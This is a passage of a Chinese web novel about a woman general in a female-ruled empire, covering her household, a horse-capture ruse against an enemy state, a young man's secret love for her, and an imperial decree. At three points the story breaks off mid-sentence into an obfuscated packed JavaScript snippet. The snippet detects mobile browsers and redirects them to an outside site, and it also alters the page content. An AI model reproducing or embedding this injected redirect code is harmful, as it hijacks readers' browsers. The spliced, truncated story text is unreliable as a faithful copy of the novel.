二人相携步入正堂,白灵也在桌旁等候多时,正犹豫要不要再让小奴们热一热饭菜,就见自家弟弟一脸泪痕,却满脸如痴如醉地被李明珠哄劝着进来。 此情此景落在白灵眼中,她也只能无奈叹气,弟弟的心思她一直知晓,从当初明珠救他们起,阿尘的眼中就再也装不下其她,但她作为旁观者,最是清楚明珠看他的眼神中有过欣赏、有过关心、有过亲情,却独独没有爱,所有种种,皆是阿尘一厢情愿罢了。 从前她也明里暗里跟他提起过,阿珠对他没有别的感情,只把她们当作亲人,只是...... 哎—— 看着自家弟弟小意温存地给明珠布菜,白灵又是长叹一口气,她又何尝不希望看到阿尘与他喜欢的人在一起呢,只可惜易得无价宝,难得有情娘。 落花有意流水无情。罢了罢了,感情这种事,旁人想管也管不了,白灵摇了摇头,把所有思绪都暂且压下,执筷用膳。 趁李明珠此时闲暇,白玉尘一边给她夹菜,一边将府里人员安排细细说与她听。 将军府目前人口不多,正经主子就李明珠一个,白家姐弟也是吃过苦的,尤其是白灵,这几日都在前院收拾打扫,她不好跟着李明珠去军营,也没什么别的差事,只好在府里做些琐事。 她是女子,力气也大,偌大的前院只花了两天就全整理停当,之前定的桌椅床榻等物什也都送到,该晾的晾该晒的晒,一切都被她打理得妥帖。 原本那小奴们刚被买来,怕自己不做事再被赶出去,想帮着白灵一起收拾,却因其手脚实在太利索而插不上手,只能罚站似的在一旁面面相觑。 最终还是白玉尘看不下去了,出来给他们安排了差事。 当然,他也是存了私心的,将气度样貌出色的柳初元打发去做门子,只留两个看着胆小听话的在内院伺候,问了名姓,稍大些的叫阿鹿,说是大,其实也才十四岁而已,另一个十一岁,叫小舟。都还是个半大孩子,也做不了什么活,就跟着白玉尘在内院洒扫整理。 众人都没觉得怎么样,但当李明珠得知,原来那几个孩子才十几岁,顿时不淡定了,这这这,雇佣童工犯法啊! 原本她以为小奴们只是营养不良瘦弱了些,但看柳初元那个头,猜测怎么也有十七八岁,结果突然告诉她他们中最大的也才十四五岁! 李明珠立马撂下碗筷,从袖中掏出一小锭银子递给白灵:“白灵姐,最近军中事忙,我走不开,这钱你拿着,明日找人伢子再买几个小奴来,务必要大一些的,最好买个女奴,初元毕竟是男子,将来咱们府里往来之人多了,也不好日日叫他在外抛头露面。” 顿了顿,又补充道:“这两日没出去,阿尘想必憋坏了,也带着他一起去罢,顺便熟悉熟悉辽州城。” 只是她话音刚落,方才同她们一起安静吃饭的小奴们,顿时惶恐地跪在地上磕头,年纪最小的小舟甚至掉下眼泪,呜呜咽咽地求李明珠不要赶走他们,他吃得少力气大,什么活都能干。 李明珠无奈扶额,赶忙把人拉起来,结果小舟力气还挺大,抓着她的衣服不愿起身,连旁边一同跪着的柳初元和阿鹿,神情也是恳求中带着落寞,望着这三双可怜的眼神,李明珠刚要开口解释,有一道声音却比她更快。 “都滚开,将军贵体岂容你们随意触碰!要跪要哭便回自己屋里哭,如此没规矩,没得让人觉得是我们的不是了。” 看那爪子居然伸向李明珠,白玉尘如何能忍,上前一步拽开他,又从怀里拿出帕子细细擦拭李明珠的衣摆,就好像那衣摆上有什么不干净的东西一样。 原以为小舟和阿鹿年纪小些,长相也不出众,留在身边伺候也没什么,但没想到这小子也不是个好的,哭哭啼啼的给谁看?! 他一双眸子淬了毒一般扎向小舟,看来真得好好管管这些男奴了,如今阿珠有了官职,日后看着将军府的视线只会更多。府中之人得严加管束,段不能让她有后顾之忧。 在将军府的第一顿晚膳就这么吵吵闹闹地吃完了,李明珠累了一天,回屋舒舒服服得泡了个澡,就打算早些睡下。但是刚躺下,一阵敲门声便传来。 “来了,睡这么晚还来找——阿尘?你怎么来了?” 白玉尘还是方才那身装束,只手上多了一个檀木盒子,“我来给你送药啊,明明是你的身子,自己却不上心,我担心了一个晚上,如今还这么巴巴的给你送药,偏生某人还不领情——” 偷偷拿眼尾觑了觑李明珠的表情,攥着盒子的手指紧到发白,但他还是压下了心中的紧张,“怎么,还不让我进去?我可是在外头等了你好长时间,冻都冻死了!” “哦哦,好。”李明珠连忙给他让路,两人在桌旁对坐。 想起他方才的话,问道:“你来很久了吗, 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白玉尘觉得自己跟她就是鸡同鸭讲,世上怎么能有如此煞风景的人?!难不成自己大晚上的跑来,就是要她件衣裳? 气恼地放下茶杯,作势就要走,但脚步却放得很慢,就在他刚要迈出门槛时,就听身后有脚步声传来,以为她是要挽留自己,白玉尘背对着李明珠,嘴角微微翘起一个很小的弧度。 只是这弧度还未来得及扩大,就被李明珠接下来的话给压平了。 “欸欸欸,别一个人走,我送你,这大晚上的,府里也没什么人,你一个人回内院不安全。来,披上这个。” 她从柜子里拿出白狐裘,罩在了白玉尘纤弱的身子上,为他系好带子,细细嘱咐:“现在虽然入了春,但辽州不比京城,早晚还是有风的,白日可以只披一件薄披风,但夜里可不行,你是男儿,今后免不了生养,万万不能着凉。 我跟白灵姐说好了,你明日就跟着她出门逛逛,看着什么喜欢的便买下来,别给我省钱,咱现在大小是个官了,每月的月例养咱们几个人还是可以的......” 她后面说的什么,白玉尘已经听不清了,怎能怪他动心呢?这样的阿珠,千好万好,殷殷关心默默私语,皆是为了他。 又想哭了。 忍下眼里的泪意,他握住了李明珠要去拿提灯的手,轻声道出了原本的来意:“我是来给你上药的。” “我不回去,你受伤了,我想替你上药。” 说完,他就拉着怔愣的李明珠重新坐到桌前,从盒子里取出金疮药,倒在干净的帕子上,轻轻朝少女额前的擦伤贴去。 “嘶——”一个机灵,让李明珠回过神来。 她看着眼里不含一丝杂质,只认真给自己处理伤口的白玉尘,心中刚刚浮现出的想法又被她按了下去,暗地吐槽自己实在想太多了:阿尘才多大啊,人家大半夜还惦记着自己的伤口,冒着冷风还带给自己送药,怎么还能想多呢? 连忙摇摇头让自己清醒。 她这动作惊动了正给她上药的白玉尘,天知道方才李明珠看过来时,那种审视又疑惑的眼神,叫他几乎要把嘴里的软肉都咬烂了,才堪堪克制住想跟她直接表明心意的冲动。 不,不行,现在还不是时候,姐姐说过,阿珠刚进军营,地位不稳,正是建功立业收复人心的重要时候,不能叫她分心。 他一遍又一遍对自己说:没关系的,你以前最希望的不就是能跟阿珠同住一处,日日能见面,餐餐能同食吗? 现在这愿望成真了,白玉尘,你要知足,阿珠是天上明月,凡人摘月,须得徐徐图之。 23. 美马 春意渐浓,冰封的松河裂开第一道缝隙之时,李明珠来到辽州已经一月有余,这段时间她一直都在忙着练兵,每日天不亮就出府,掌灯时分才归,可谓是披星戴月。 但是这份辛苦没有白费,当日黄云旌把她安排进军中,摆明是存了故意为难她的心思。 所以那日演武场上,她冒着自己也受伤挂彩的代价,赢了几个不服的参将,算是初步立下了威望,加之后来李明珠日日与她们一起操练,兵士们也逐渐对她更加信服。 玉龙国的骚扰越来越频繁,女帝催战的旨意也是一封接着一封,但黄云旌却顶着压力,迟迟不肯开战,一拖就是一个多月,营中兵士也议论纷纷。 “哎,你说黄将军到底在怕什么,怎么还不打,老娘这阵子都快憋死了,玉龙国那帮鳖孙,天天来咱眼皮子底下挑衅,偏咱们还只能看着,好生憋屈。”饭堂里,一个年轻的百户不忿道。 旁边有拥护黄云旌的兵士反驳她:“黄将军做的决定,自有她的用意,哪是你一个只知道冲锋的粗人能理解的? 再说,仗什么时候打,怎么打,如何排兵布阵,那都是将军们和军师的事。你我只要每日勤勉练武,等将军需要的时候,咱能顶上,这才是正道,别整天琢磨些有的没的。” 那百户如何听得了这样的挖苦,当即就要动手揍人,旁边之人赶忙劝阻,这才避免了一场骚乱。 众人重新坐下吃饭,这时却听一个参将神秘兮兮说道:“我应该是知道些原因。” “怎么着,你姨母又跟你透露了啥话,快快快,翠花,别藏着掖着,咱几个都是过命的姐妹,让咱也听听。” “就是就是,咱们绝不给你往外说!”众人好奇的紧,纷纷附和道。 翠花享受够了众人的追捧,清清嗓子,压低声音:“我姨母说了,黄将军迟迟不肯开战——”在众多期待好奇的目光中,她颇为得意地说道,“是因为咱的战马不够!” “啊!”周围顿时一片哗然。 李明珠也凑近听了一耳朵,只是她还没来得及有什么反应,就听那人继续显摆:“玉龙人都是骑兵,动辄数百骑,还一水儿的都是赤焰马,她们跟草原人勾结,直接买了两千匹战马。咱们大荣虽也有不少名马,却是以南马为主,并不擅长在北地作战,所以前些日子,将军给辽州周围的云州、胶州的郡守传了信,想调些北马来,这才耽搁这么多天。” “也是啊,我之前听驯马场的大姐说,前些年边境不稳,好多成年母马都战死了,如今咱们大营里,尽是些公马和马驹,也不成什么气候。” 众兵士你一言我一语,一时间营中流言四起,战马不够之类的言论被传得沸沸扬扬。 风声传到黄云旌耳中,将军大怒,下令彻查消息的最初来源,查来查去,发现是她帐下一个六品军师最先泄露的,那军师其实并不怎么得黄云旌青眼,只是念其多年来在军中还算勤恳,也没犯过什么大错,才一直留用罢了。 军师年过 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辽州城从前也不缺母马,但前几年边境战乱,死了很多战马,虽说今上登基后形势有所好转,却因为洪灾频发,圣上一直无暇顾及战马之事,这一拖就拖到了今天。 与玉龙国开战迫在眉睫,就算从周边城池调马也需时间,况且云州也算是边境,同样要城防,应是没有多余的。 李明珠站在驯马场的空地上,看着一匹匹舐犊情深的公马,一个大胆计划在心中逐渐成形! 24. 第 24 章 辽州与玉龙国以松河为界,虽说是同一条河,但松河在玉龙的河段流势汹涌,却在靠近辽州时和缓下来,在辽州城一侧留下了一片沃土。 如今是四月末,即便是北地,也早已进入春天,暖意融融又有松河的滋养,河流两岸的树木花草长势喜人. 当然,也喜马。 就如现在,数百玉龙国兵士带着她们的战马,寻了块河道较浅的草地,饮马休息。 而距离她们仅二十里外,有一队人马,最前方两个身着戎装的女子,坐于高头大马之上,正拿着千里镜观察玉龙人的动向。 李明珠放下千里镜,朝身侧之人开口道:“黄将军,时机正好,请您马上下令行动!” 黄云旌依然持镜望着前方,握着缰绳的那只手青筋突起,却未发一言。 三日前,李明珠来找她,说有了对付玉龙国的办法:她们既然缺马,与其四处求援,为何不直接俘虏敌方的马? 但这件事不能硬来,要让玉龙国的战马毫发无伤且心甘情愿地来辽州,那便只有另辟蹊径了。 李明珠挑了五百匹毛色顺滑且生过马驹的公马,把它们牵到松河边上。她提前观察过,这边水草丰美,玉龙兵马多爱在此地饮马休整。 黄云旌望着远处,犹豫半晌,终于下定决心,一声令下,率先埋伏好的兵士便将五百匹公马赶往河边。 那些公马与马驹生生分离,又到了陌生的环境,纷纷嘶叫不已。如此阵仗,玉龙兵士还没反应过来,她们那数百匹母马却是反应极大,也同样嘶鸣起来,一时间战马齐鸣混乱不堪。 待玉龙国兵士们好不容易回过神来时,就见自家的战马全部四蹄点地,朝大荣的那些公马奔去。 …… “哈哈哈哈!好!好!好!李将军,本将从前还小瞧你了!真是英雌出少年啊!”城北大营,四品锐骑将军赵升激动地拍着李明珠的肩膀。 看着面前的红脸大娘,和那只蒲扇一样的大手,李明珠:强颜欢笑。半边肩膀都麻了。 最后还是黄云旌看不下去,找了个理由将赵升支走,然后又挥让副将和军师也出去,帐内瞬间安静下来,只剩下她和李明珠相对而坐。 “赵将军是一时高兴,她平时也是很稳重的人。我军务繁忙,所以这次与玉龙国的交战,还是要交由她来领兵。玉龙不成气候,只是我们一直苦于没有战马,如今——” 黄云旌坐直身子,郑重道:“李将军,多谢你解决了这燃眉之急!黄某是个粗人,不懂那许多弯弯绕,从前若有冒犯,请你莫要放在心上。” 一直到从主帅帐中出来,李明珠都有些飘飘然,人都是渴望被肯定的,她也不例外。虽然之前嘴上说着不在意别人的看法,但真的来到军营,设身处地的感受过这种氛围,‘认可’二字,就显得格外弥足珍贵。 有了战马以后,与玉龙国这一战就顺利多了,再怎么说对方也就几千人,冬天刚过,她们物产匮乏,后方补给自然也跟不上,溃败已成定局。 赵升率领八百骑兵、两千步兵,埋伏在玉龙人来辽州的必经之路上,打了她们一个措手不及,俘虏玉龙军千余人,缴获战马四百匹。然后一鼓作气,直接追到了松河意外一百多里,大获全胜。 捷报传到京城,女帝龙颜大悦,虽说这次战事不是什么大战,但毕竟扬了大荣国威,赢得也漂亮。 黄云旌并未揽功,在军报上写明了此战功在赵升和李明珠,尤其是李明珠,想出奇招解决了战马短缺的燃眉之急。 女帝当即下令:赏锐骑将军赵升、虎烈将军李明珠各白银一千两。赏虎烈将军李明珠紫金弓一张,紫金匕首一把,西域名马照夜玉狮子一匹。 接到赏赐时,李明珠正在自家后院挖坑。 之前搬进来时,她就答应过白玉尘,要给他把整个院子全都种满花。 但这一个多月来,她一直忙着营中之事,日日早出晚归,甚至有时忙得晚了,都赶不及回来,直接歇在营里。 白家姐弟对此却从未抱怨过,只默默替她打理好府里的事,叫她能够全身心地投入到战事中去。 如今玉龙国受降,营里也没什么要紧事,念在她和赵升破敌有功的份上,黄云旌准了她们两日假。 得知李明珠终于能在府里好好待几日,最高兴的就要数白玉尘。一大清早起来,就亲自带着小舟出门,挑了一只鸡,还买了两条新鲜的鲈鱼,誓要给她好好补补。 等到日上三竿,李明珠终于睡足了觉,心满意足地起床时,就见外间圆桌上,一道道色香俱全的美味珍馐已经摆好,正等着她享用。错眼一瞧,就见“田螺小郎君”白玉尘端着菜进来,见她醒了,忙放下菜迎上来帮着擦脸洗漱。 美美地用了顿午膳,下午趁着阳光正好,李明珠搬了张躺椅在院子里晒太阳,白玉尘在旁边支了个小桌子,上面放了碟桃花酥,还有一盏温热的杏仁茶。 “阿珠快尝尝,这是用我昨日刚摘的桃花制成的,从前在京城时,用的买来的桃花馅,你总说太过甜腻,这次是我亲手调的,一丁点儿糖都没放,靠的全是花瓣本身的清甜。” 他伸手捻起一枚桃花酥,没让她沾手,直接喂进了她口中,然后那双杏眼就这么一眨不眨地看着她,从里面迸发出来的炙热几乎能将她灼伤。 李明珠似被这眼神烫到,慌忙移开视线,却一时不查呛到了喉咙,一阵剧烈的咳嗽中,她感觉到有一只温热的手覆上了自己的背,一下一下给她顺着气。 “慢点儿慢点儿,你要喜欢我明日还做。”白玉尘小声嗔着,将那盏杏仁茶递到了她的唇边。 温热香甜的液体入喉,李明珠才终于好受些。 她觉得方才太过丢脸,吃块点心就能呛成这样,人家孩子就是向她求表扬,反倒是自己,一惊一乍的胡思乱想。 李明珠啊李明珠,你现在是将军了,以后可是要统帅千军的,必须得稳重些才行! 暗暗在心里下了决心,却在抬头撞进那双灵动如小鹿一样的眸子时,差点破功。赶快转移注意,她环视四周,惊讶发现院子东北角的那片空地上,居然有几棵桃树。 现在马上五月,已不是桃花开得最盛之时,花瓣零星间,有果实隐隐透出。 “诶!这怎么有桃树了!” 她跑到树前,兴奋地绕着看了好一会儿,转身问白玉尘:“阿尘,这是你种的吗?什么时候,我竟然不知道!” 随即又有些赧然,这前院刚搬进来时是什么样,自己还能不知道吗,院子里光秃秃的。虽然大,却是一点生机也无。如今被侍弄的这样好,不是白玉尘的功劳还能是谁呢? 想起自己从前跟他许诺过,要在院子里种满树木花草,却是一直没顾上,只叫他一个人忙活去了,思及此,李明珠顿时就有些不好意思。 少女袅袅婷婷立于树下,颊边漫起绯红。嫣粉的花瓣落到她身上,沾染了她的气息,像戏文里十二花神一般,只可远观,仿佛靠近一步都是亵渎。 白玉尘看着这一幕,呼吸都放轻了,脑海中蓦然浮现出一句诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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别看只多了两个人,对于将军府而言,也是热闹许多。就如现在,连雁被指去买石榴树。小苏也没闲着,李明珠让她去拿铁锹锄头,再叫上白灵,一起去后院汇合。 本来当初同白玉尘说好,要给他在后院搭个秋千,种上一大片桃树石榴树,但现在桃树已经被他种在了前院,李明珠看着空空荡荡的后院,大手一挥——干脆搭个葡萄架种葡萄,等八九月份长出叶子结了果,既能吃也能遮阳,还能酿葡萄酒! 想想日后能坐着摇椅,在葡萄藤下慢慢摇,再来上三杯两盏淡酒,美哉!妙哉! 只是搭葡萄架和秋千都需要很多木头,不是一时半会儿就能成行的,所以今日还是先种石榴。 李明珠自穿越以来一直穿的都是窄袖劲装,也不梳繁复的发髻,通常都是高高的马尾配一把银簪,活动十分方便。 比如眼下,她跟白灵一人一把铁锹开始挖树坑,白玉尘就在旁边给她们擦汗递茶。 日头稍稍偏西,两人终于把坑挖好,只待明日再栽树。 刚准备进屋沐浴用膳,就见小苏一路小跑,见白玉尘这个男眷在此,便没有进内院,只堪堪在内外院相连的月亮门处停下,躬身朝里回禀道:“将军,衙署里来人了,说有圣上旨意,请您到前院来一趟。” 李明珠有些惊讶,她今日才第一天假,怎得就有圣上的旨意?还是说又有战事了? 多想无益,她按下心中的疑惑,让小苏把来人先带进前厅,又吩咐了阿鹿去上茶伺候着,她自己则快速进屋洗漱更衣。 简单收拾后,去前厅一看,才发现来人是衙署的两名书吏,从前曾有过几面之缘,却并不熟悉。 寒暄客套一番,李明珠接了女帝的赏赐,目送着阿鹿和小苏送书吏出去。然后——拔腿飞奔向马厩。 夕阳西下,将军府那还未来得及打理的、简陋的马厩中,一匹毛色溜光水滑、浑身泛着浅金色光芒的、传说中的照夜玉狮子,就这么优雅地立在槽枥间,安静地望着它的新主人。 25. 荏苒 人间不知岁月长,将军府里的桃花开了六次,李明珠穿越到这女尊朝代也有六年多了。 这些年,她大部分时间都在军营里练兵、读书,有时邻国异动,她也会受命出兵。 经过这六年的历练,她早已褪去了十几岁时的稚嫩青涩,眉宇间英气勃勃,甚至在军中浸染久了,不笑时还有股肃杀之气。 可她偏生了双杏仁眼,那双翦水眸历经岁月却不曾改变,干净灵动的不像个见惯生死的大将军,反倒像是世家大族里那被护地极好的幺女,灵巧轻快无忧无虑。 时至今日,即便已经相处了这么久,每每被这双眼眸注视,白玉尘还是会一阵阵心悸,仿佛呼吸都要被她夺走一般。 随着时间的流逝,白玉尘心中的执念也愈来愈深。一开始,他只想有一处安身立命的小院,能日日与阿珠待在一起;后来,这心愿成真,他又贪心了,想奢求更多,想名正言顺当阿珠的夫郎,照顾她,给她生女育儿。 这些年来,他没有一天不身处于煎熬之中,一面被阿珠的温暖包裹着,一面小心翼翼藏着那几乎倾泻而出的感情,他不敢说出来,怕这好不容易盼来的暖意也被她收回。 可白玉尘不知道的是,当情感足够浓烈时,即便小心隐藏,爱意也会从眼角眉梢处泄露出来。 李明珠第一次感受到他那浓烈的情意,是在三年前的冬天,白灵大婚的那一日。 白灵的夫郎姓谢,单名一个涣字,是与她从小玩到大的竹马。 说来也巧,当时她们才来辽州一年多,一日白灵出门买包子,发现那家包子铺老板,竟然是从前在香河开包子铺的谢大娘,白家与谢家是同村人,两家的孩子自然也是从小的玩伴。 后来淮河决堤,白家就剩两人,白灵带着弟弟随流民一路南下,而谢家因为住的院子较高而躲过一劫,房子虽毁了,人却没事,一家四口便投奔了在辽州经商的亲戚,借了些银钱重开包子铺。 因为手艺确实不错,谢家的包子铺渐渐在辽州也有了些名气,白灵也是听说了这家包子好吃,便想买回来给弟弟和李明珠尝尝。 如此有缘,也只能说是天意了。 再后来,因着白灵与谢家小儿子年龄相仿,双方又知根知底。况且,白灵还在李明珠的举荐下入了军中,虽说只做了个八品参将,却也是正儿八经吃上了皇粮,将来不愁没有建功立业的机会。 白灵与谢涣算是自幼相识,两人之前就互生情愫,以为分别后此生再无相见的可能,没想到兜兜转转,在辽州遇见了。 重逢后没多久,二人便顺理成章地成了亲,速度之快让李明珠都直啧舌,私下里还跟白玉尘吐槽过:“你姐真是不鸣则已一鸣惊人,她乡遇故知,洞房花烛夜,这人生四大喜事,一下就被她集齐了一半!” 当时白玉尘回了她什么来着?李明珠记不清了,只记得他幽幽看了自己一眼,那时她只感到有些莫名,谁知,就在不久后白灵的大婚之夜,得到了答案。 那日喝完喜酒,众人簇拥着新娘子入洞房,闹腾着一对新人喝了喜酒,知道接下来的事不能为外人道,大家也就知情识趣地出来了。 白灵没有亲人,所以来的都是她和李明珠在军中的好友,她入了洞房,李明珠便替她扛下了所有火力,被灌了一杯又一杯。 虽说喝的是她们自己酿的果酒,不算很烈,可架不住喝的实在太多,待酒宴散场,她已经醉的站都站不稳了,只能靠小舟和柳初元扶着,才勉强站起身回房。 谁知刚出了前厅没多远,就见白玉尘匆匆迎上来,瞧见李明珠醉醺醺地靠在柳初元肩头,顿时怒从心头起,连忙快走几步,上前拂开那只环在李明珠腰上的手,把她接到自己怀里,斥道:“将军醉了,不上后头来叫我,倒是自己上手了?也不照照镜子,看看你们是什么模样,如何敢越过我去了?!” 见怀中的李明珠不舒服地动了下,似乎被吵得难受,他强压下心中的恼恨,放低了声吩咐道:“这不用你们了,去烧桶热水来,再去制碗醒酒汤,送到将军房里。”说完便扶着李明珠回了她的院子。 将军府占地很广,院多人少,因此每个人都能独住一个院子。从前李明珠一直住在主院,但因为白灵要成亲,怕不方便,就主动搬去了右跨院。 原本白灵想带着夫郎另租一件宅子,毕竟这是圣上赏赐的将军府,之前没成亲也就罢了,总不能有了夫郎还占着人家的地方不走。 但她跟她们提起这件事,却遭到了明珠和白玉尘共同反对,尤其是白玉尘,他压根没想过离开李明珠,原本他还对自家姐姐娶夫一事不太在意,可一听姐姐说成亲后要带他搬走,登时就急了,甚至还放下话让白灵终身不娶,结果自然被白灵好一顿修理,这才消停,却也因此提防上了他未过门的姐夫,一心觉得这人是想拆散他跟阿珠。 因着弟弟的强烈反对,以及李明珠的极力挽留,白灵最终还是妥协了,决定就在将军府成亲。其实她私心里也还是想与阿珠一处的,毕竟相处这么多年,又是共患难的情意,她也早把李明珠当作自己的妹妹。 左右她也是自己独住左跨院,两件大院子相互连通,又有独立的小厨房,将来过日子也很方便。 白玉尘半圈半抱着李明珠,二人足足走了半炷香的时辰才到了右跨院。进了她住的正房,白玉尘心里还有些紧张,这是三年多来,他第一次进阿珠的卧房,心头难免有些热,数九寒天里,手心居然沁出了薄汗。 李明珠的房间陈设很简单,甚至可以说有些冷清。靠墙放着一张雕花大床,锦被整齐叠放在角落。窗前的桌案上,摆着几本兵书,一方端砚古朴厚重,砚池里还有未干的残墨,应该是今日练完字还没来得及收。 他将怀中人小心安置在榻上,俯下身给她脱了靴。望着她的睡颜好一会儿,才舍得转身把蜡烛点上。 这是屋外传来动静,小舟和柳初元端着热水和醒酒汤进来,白玉尘只略略抬眼,示意他们把东西放在桌上,就关上了房门。 待屋里只剩他们两人,白玉尘先往暖炉里添了几块银炭,又将自己和李明珠的大氅解了,哄着喂了半碗醒酒汤,便拧干帕子给她擦脸。 手指从少女颊边滑过,温润的触感让他一阵战栗,心跳声在耳边炸响,他像被什么东西蛊惑了一般,被驱使着向她靠近...... 三寸,两寸,一寸,终于,颤抖的唇,落在了少女的眉心。 这个场景,在白玉尘的梦中已经上演过无数次,也曾不止一次在心中描摹,但当他的唇真的触到了李明珠的额头时,一滴晶莹还是从眼里滑落。 也许是太过欢喜,又或是太过紧张,以至于,他忽略了床上之人颤动的睫毛。 不知过了多久,关门声响起,屋子里又重归寂静,但有人的内心,却似烈火烹油,再也无法平静。 黑暗中,李明珠睁开了眼,直直地望着头顶的床帐,眸子里一片清明。 她今晚确实喝醉了,但其实残存着一丝意识,回来的路上吹了些风,又被喂了醒酒汤,酒意已消了大半,但是她觉得单独与白玉尘同处一室有些尴尬,就干脆一直闭着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217511|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼装睡,结果...... “啊啊啊啊啊啊啊啊!” 李明珠抓着自己的头发,疯狂在榻上打滚,然后猛地坐起,长发落到脸侧,被她粗暴地拨开,神情恍惚,口中喃喃:“怎么,怎么会......” “不应该啊,他,他他,啊啊啊啊啊啊啊啊——” 回想起这些年来两人相处的细节,那些平日里不曾注意的、点点滴滴的小事,如珠子一般串联起来,一切都说的通了。 于是,在这个良辰吉日的冬夜里,隔壁院红浪翻滚小意温存,李明珠却在黑暗的房间里枯坐了一夜。 自那天起,后来的两年多时间里,她除了过节或是府里有事才会回来,其余时候都住在军营,日子久了,连白灵都看出了不对,特意找了个时机,去了李明珠帐中。 “明珠,军务多吗,我看你这么长时间都没回府,是我与阿涣扰了你吗?” “白灵姐,怎么会呢,近来确实有些忙,等过几日空下来了我就回去。你可千万别乱想,咱们一起在将军府住这么些年了,早就是家了,你叫姐夫也宽心,他现在有了身子,可别叫旁的事烦了去。” 提起夫郎和孩子,白灵眉眼之间多了些柔和,又见李明珠确实没有勉强之色,便知问题不在这上头。 果然,当她试探地提起白玉尘时,李明珠翻着军报的手一顿,表情也有些并不自然。 白灵当即就明白了怎么回事,肯定是自家弟弟那点儿小心思被明珠发现了。 其实这几年里,她也旁敲侧击打听过李明珠的想法,也清楚人家只把阿尘当亲弟弟,两人之间的相处也是有礼有节,尤其前两年阿尘十五岁加冠后,明珠更是比她这个做姐姐的还注意分寸。 白灵轻叹一声,却也知道,感情之事,最是强求不得。两人若是有缘,像自己与阿涣那样,即便兜兜转转也能成就好事;若是无缘......那便是按头拜堂,也是怨偶一双。 当然,女男有别,这些话她也不好跟白玉尘直说,只能夜里与自家夫郎念叨几句,想着他们同为男子,到底说话方便些,让谢涣平时多劝解他。 白灵自己也没闲着,托人找了个男夫子,教白玉尘学些诗赋,不拘学成什么样,至少有个事做,能转移转移注意也是好的。 白玉尘自然也感觉到了李明珠的疏远,从前虽说阿珠也很忙,但至少隔几日就能见到她,还能一同用膳,阿珠心疼他不能总出府,在外头见着了什么好吃的好玩的,都会给他带回来,什么鲁班锁、竹蜻蜓、九连环,虽都是些哄孩子的小玩意儿,但在白玉尘心中,就是阿珠时时刻刻惦念着他的表现,这份心意重于千金。 他还特意找了个带锁的大木箱子,用来存放这些东西,不知不觉,已攒了大半箱了。 平日里想她了,白玉尘就会把箱子打开,将里面的东西一股脑往床上一倒,他就坐在中间,被这些物件包围着,就好像被阿珠的爱包围着。 但是如今,他已经四个月又二十二天没见到阿珠了,心中隐隐有猜想她是不是知道了什么,无数次想命连雁去军中找她,但他不敢,他害怕一但把事情戳破,把他那肮脏的、妄图觊觎天上明月的心思摊开在阿珠的眼前,怕他们再也回不去从前。 他知道阿珠一直把他当作弟弟,姐姐也曾明里暗里劝过他,叫他不要再执着,会给他寻一个好妻主,说阿珠不是他的良人,他们有缘无份云云。 呵,良人,妻主?这是上没有女子能记得上阿珠!他白玉尘除非死了,不然,他的妻主,就只会是李明珠。 26. 赐婚 无论白玉尘心中如何想念,却也只能在逢年过节或是府里设宴时,才能见到那日思夜想之人。 这两年李明珠也不停告诉自己:阿尘年纪还小,思想还不成熟,想想从前在学校里,不也有同学偷偷早恋吗,青春期的男孩儿喜欢上一直帮自己的大姐姐,实在太正常不过了。 你得耐心帮助他,慢慢疏远,让他知道你们之间不可能,小孩儿心性都不稳定,没准过段时间他觉得没什么意思,也就不喜欢了呢。 只是她没想到,白玉尘感情的分量,比她想象中的,还要重很多。 只要她一回将军府,白玉尘都会第一时间来前院找她,她若是找理由闭门不见,他便会等在她房门口,直到见到她为止。 李明珠不止一次想干脆同他把事情说开算了,但每次酝酿着话语刚开个头,就被他以各种理由堵回来,从知晓那日以来两年多的时间,竟一直都没能开的了口,为此她也郁闷了很久。 就在她以为,日子会先这样过下去时,一道突如其来的圣旨,打破了她们平静的生活。 正值盛夏,即便辽州在北地,也是酷热难耐。 黄云旌体恤军中将士,便自己出钱,让伙房给所有将领和兵士加一碗冰绿豆汤,若只是寻常的绿豆汤,倒也没有多稀罕,真正金贵的,是里头加的冰块。 冰块在这时候几乎是贵族专属,寻常百姓也没那财力制冰储冰,大家若要在夏天吃些凉快的食物,一般都会放到井水里降温,但效果终究是比直接用冰差了一些。 这天傍晚,练兵刚结束,李明珠在演武场上同自己麾下的兵士喝完绿豆汤,正要一同去饭堂,就被副将叫到了主帅帐中。 以为黄云旌这个时辰找自己是有紧急军情,所以李明珠路上没敢耽搁,快步进了主帅营帐。 谁知一进去,便发现里面不只黄云旌一个人,还有两名不认识的女子。 搞不清楚状况,她也就没有贸然开口,跟黄云旌对视一眼,随后便冲那几人抱拳行了军礼,退到一旁,当沉默的背景板。 帐内安静半晌,那两名女子站起身,其中一位开了口:“李将军,咱家是圣上派来宣纸的女官,陛下有旨,请您听旨。” 闲杂之人已屏退出去,李明珠和黄云旌并排而跪,便听上首的女官朗声道:“奉,天承运,皇帝制曰:兹有虎烈将军李明珠,骁勇善战,屡立奇功,至忠至仁,擢升为正四品宣威将军,兼神机营都指挥同知,赐京南宅院一座,良田四百亩,黄金百两,望尔秉持忠心,辅弼朕躬。钦此!” “臣,李明珠,接旨!吾皇万岁万岁万万岁!” 这不是她第一次接圣旨了,虽有些惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222671|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 